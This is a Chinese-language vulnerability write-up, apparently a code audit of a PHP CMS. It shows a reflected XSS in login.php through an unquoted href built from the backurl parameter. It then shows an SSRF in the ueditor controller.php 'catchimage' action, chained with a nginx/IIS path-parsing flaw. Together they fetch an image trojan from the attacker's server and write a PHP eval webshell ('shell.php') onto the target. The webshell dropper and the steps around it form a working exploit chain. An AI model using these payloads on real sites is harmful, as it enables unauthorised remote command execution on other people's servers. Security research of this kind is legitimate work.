XSS
路径:/plugins/template/login.php
url
的值:
$url =conf('runmode')==1 ? $path.'index.php?location=user&backurl='.$backurl.'&act=' : $path.'?location=user&backurl='.$backurl.'&act=' ;
这里的$backurl
是我们可控的:
$backurl=getform('backurl','get');
另外还要注意到,这里 href
没有用双引号包裹住$url
,这就导致我们只要用空格就能分离属性,构造出我们想要的属性,可以 F12
看一下源码:
我们要达到的目的:
<a href=/?location=user&backurl=test onmouseover=javascript:alert(1111) test=&act=login>
$backurl=test onmouseover=javascript:alert(1111) test=
弹框成功:
ssrf+中间件解析
漏洞文件:
/plugins/ueditor/php/controller.php
漏洞代码:
可以看到这一段接收用户输入的 url
,另外还有两个参数:
用户输入 upfolder
参数,为上传文件的路径,另外还有 action
要为 catchimage
我们可控的两个参数就是 action
和 upfolder
,看一下对这两个参数有什么具体的过滤措施:
-
safeword()
:
函数过滤了其他符号,仅保留字母和数字 -
safe_url()
:
这里对url
,保留输入的url
中的a-zA-Z0-9,.:=@?_\/\s]
然后再看看传输文件的函数 down_url()
,
重点看对 url
的过滤,函数没有对 ip和域名进行过滤,另外文件名和文件后缀来自于我们输入的 url
,保存的文件没有进行重命名,只是要求文件后缀不能为空,还有文件后缀必须在白名单内,看一下 conf()
可以看到我们不能看到合法的文件后缀,但是,可以看到与 controller.php
同目录下有个 config.json
文件,里面有一项:
"fileAllowFiles": [".png", ".jpg", ".jpeg", ".gif", ".bmp", ".flv", ".swf", ".mkv", ".avi", ".rm", ".rmvb", ".mpeg", ".mpg", ".ogg", ".ogv", ".mov", ".wmv", ".mp4", ".webm", ".mp3", ".wav", ".mid", ".rar", ".zip", ".tar", ".gz", ".7z", ".bz2", ".cab", ".iso", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".pdf", ".txt", ".md", ".xml"],
简单地看了一下,一些危险文件后缀都被过滤掉了,于是直接制作图片木马(虽然手段很老了),文件内容:<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
,木马制作好放到自己的服务器上,然后在访问 contorller.php
发送请求,
这时候再访问:http://www.gohosts.com/upload/file/2.jpg/.php
然后就可以在/upload/file
路径下看到生成了一个 shell.php
查看 shell.php
:
可以看到写入 shell
成功。这里利用到了 nginx <8.03 和 IIS 7.0/7.5 中间件的解析漏洞。